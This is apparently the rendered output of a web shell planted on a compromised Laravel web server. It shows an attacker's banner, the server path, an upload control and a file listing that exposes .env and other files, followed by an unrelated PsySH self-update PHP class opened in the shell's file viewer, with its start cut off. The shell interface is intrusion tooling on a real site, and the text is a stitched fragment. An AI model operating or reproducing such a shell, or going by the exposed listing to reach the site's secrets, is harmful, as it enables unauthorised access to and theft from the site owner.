I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
|
| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
|
| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
|
| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
|
| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
|
| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
|
| app | - | March 05 2024 07:12:34 | 0777 |
|
| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
|
| bootstrap | - | March 05 2024 07:12:34 | 0777 |
|
| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
|
| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
|
| config | - | July 03 2025 02:53:36 | 0777 |
|
| database | - | March 05 2024 07:12:34 | 0777 |
|
| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
|
| lang | - | May 13 2024 14:53:26 | 0777 |
|
| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
|
| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
|
| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
|
| public | - | July 03 2025 02:37:20 | 0777 |
|
| resources | - | May 13 2024 12:09:36 | 0777 |
|
| routes | - | March 05 2024 07:12:34 | 0777 |
|
| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
|
| storage | - | March 05 2024 10:03:52 | 0777 |
|
| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
|
| tests | - | March 05 2024 07:12:34 | 0777 |
|
| vendor | - | March 19 2024 12:13:14 | 0777 |
|
| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
|
checker = $checker;
$this->installer = $installer;
}
/**
* Allow the downloader to be injected for testing.
*
* @param Downloader $downloader
*
* @return void
*/
public function setDownloader(Downloader $downloader)
{
$this->downloader = $downloader;
}
/**
* Get the currently set Downloader or create one based on the capabilities of the php environment.
*
* @throws ErrorException if a downloader cannot be created for the php environment
*/
private function getDownloader(): Downloader
{
if (!isset($this->downloader)) {
return Downloader\Factory::getDownloader();
}
return $this->downloader;
}
/**
* Build the download URL for the latest release.
*
* The file name used in the URL will include the flavour postfix extracted from the current version
* if it's present
*
* @param string $latestVersion
*/
private function getAssetUrl(string $latestVersion): string
{
$versionPostfix = '';
if (\strpos(Shell::VERSION, '+')) {
$versionPostfix = '-'.\substr(Shell::VERSION, \strpos(Shell::VERSION, '+') + 1);
}
$downloadFilename = \sprintf('psysh-%s%s.tar.gz', $latestVersion, $versionPostfix);
// check if latest release data contains an asset matching the filename?
return \sprintf('%s/%s/%s', self::URL_PREFIX, $latestVersion, $downloadFilename);
}
/**
* Execute the self-update process.
*
* @param InputInterface $input
* @param OutputInterface $output
*
* @throws ErrorException if the current version is not restored when installation fails
*/
public function run(InputInterface $input, OutputInterface $output): int
{
$currentVersion = Shell::VERSION;
// already have the latest version?
if ($this->checker->isLatest()) {
// current version is latest version...
$output->writeln('Current version is up-to-date.');
return self::SUCCESS;
}
// can overwrite current version?
if (!$this->installer->isInstallLocationWritable()) {
$output->writeln('Installed version is not writable.');
return self::FAILURE;
}
// can download to, and create a backup in the temp directory?
if (!$this->installer->isTempDirectoryWritable()) {
$output->writeln('Temporary directory is not writable.');
return self::FAILURE;
}
$latestVersion = $this->checker->getLatest();
$downloadUrl = $this->getAssetUrl($latestVersion);
$output->write("Downloading PsySH $latestVersion ...");
try {
$downloader = $this->getDownloader();
$downloader->setTempDir($this->installer->getTempDirectory());
$downloaded = $downloader->download($downloadUrl);
} catch (ErrorException $e) {
$output->write(' Failed.');
$output->writeln(\sprintf('%s', $e->getMessage()));
return self::FAILURE;
}
if (!$downloaded) {
$output->writeln('Download failed.');
$downloader->cleanup();
return self::FAILURE;
} else {
$output->write(' OK'.\PHP_EOL);
}
$downloadedFile = $downloader->getFilename();
if (!$this->installer->isValidSource($downloadedFile)) {
$downloader->cleanup();
$output->writeln('Downloaded file is not a valid archive.');
return self::FAILURE;
}
// create backup as bin.old-version in the temporary directory
$backupCreated = $this->installer->createBackup($currentVersion);
if (!$backupCreated) {
$downloader->cleanup();
$output->writeln('Failed to create a backup of the current version.');
return self::FAILURE;
} elseif ($input->getOption('verbose')) {
$backupFilename = $this->installer->getBackupFilename($currentVersion);
$output->writeln('Created backup of current version: '.$backupFilename);
}
if (!$this->installer->install($downloadedFile)) {
$this->installer->restoreFromBackup($currentVersion);
$downloader->cleanup();
$output->writeln("Failed to install new PsySH version $latestVersion.");
return self::FAILURE;
}
// Remove the downloaded archive file from the temporary directory
$downloader->cleanup();
$output->writeln("Updated PsySH from $currentVersion to $latestVersion");
return self::SUCCESS;
}
}